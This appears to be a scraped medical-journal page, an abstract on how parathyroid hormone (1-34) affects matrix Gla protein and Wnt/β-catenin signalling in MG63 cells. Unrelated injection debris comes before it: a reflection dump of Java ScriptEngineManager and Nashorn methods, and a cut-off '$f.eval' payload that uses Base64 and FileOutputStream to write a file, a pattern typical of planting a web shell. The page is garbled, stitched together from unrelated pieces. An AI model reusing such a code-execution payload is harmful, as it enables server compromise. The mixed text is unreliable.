public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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Journal of Southern Medical University ›› 2016, Vol. 36 ›› Issue (07): 984-.

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Effect of parathyroid hormone (1-34) on expression of matrix Gla protein and Wnt/β catenin signaling pathways in MG63 cell lines

  

  • Online:2016-07-20 Published:2016-07-20

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Abstract: Objective To observe the effect of parathyroid hormone (PTH)(1-34) on the expression of matrix Gla protein (MGP) and Wnt/β-catenin signaling pathway and elucidate the possible molecular mechanism of PTH (1-34) in the prevention and treatment of osteoporosis. Methods MG63 cells treated with PTH (1-34) at 10-9, 10-8, and 10-7 mol/L, alone or in combination with Wnt/beta-catenin signaling pathway inhibitors DKK-1 (200 ng/ml) were examined for mRNA and protein expressions related with Wnt/β-catenin signaling with real-time PCR and Western blotting. The cell differentiation after the treatment was assessed with alkaline phosphatase (ALP) staining and cell viability assay. Results PTH (1-34) significantly increased the expression of MGP in a dose-dependent manner in MG63 cells (P<0.05 or P<0.01). PTH treatment obviously enhanced ALP activity in the cells, and this effect was suppressed by DKK-1. Combined treatment with DKK-1 partially blocked PTH-induced enhancement of ALP activity (P<0.05). PTH promoted the expression of MGP and enhanced LRP5, β-catenin, and Runx2 expressions in Wnt/β-catenin signaling pathway at both protein and mRNA levels (P<0.05 or P<0.01). DKK-1 partially blocked the effect of PTH (1-34) on Wnt/β-catenin signaling pathway (P<0.05) without affecting MGP expression. Conclusion PTH (1-34) significantly increases the expressions of MGP and proteins in the Wnt/β-catenin signaling pathway. Wnt/β-catenin signaling pathway and MGP mediate the regulation of osteogenosis by PTH.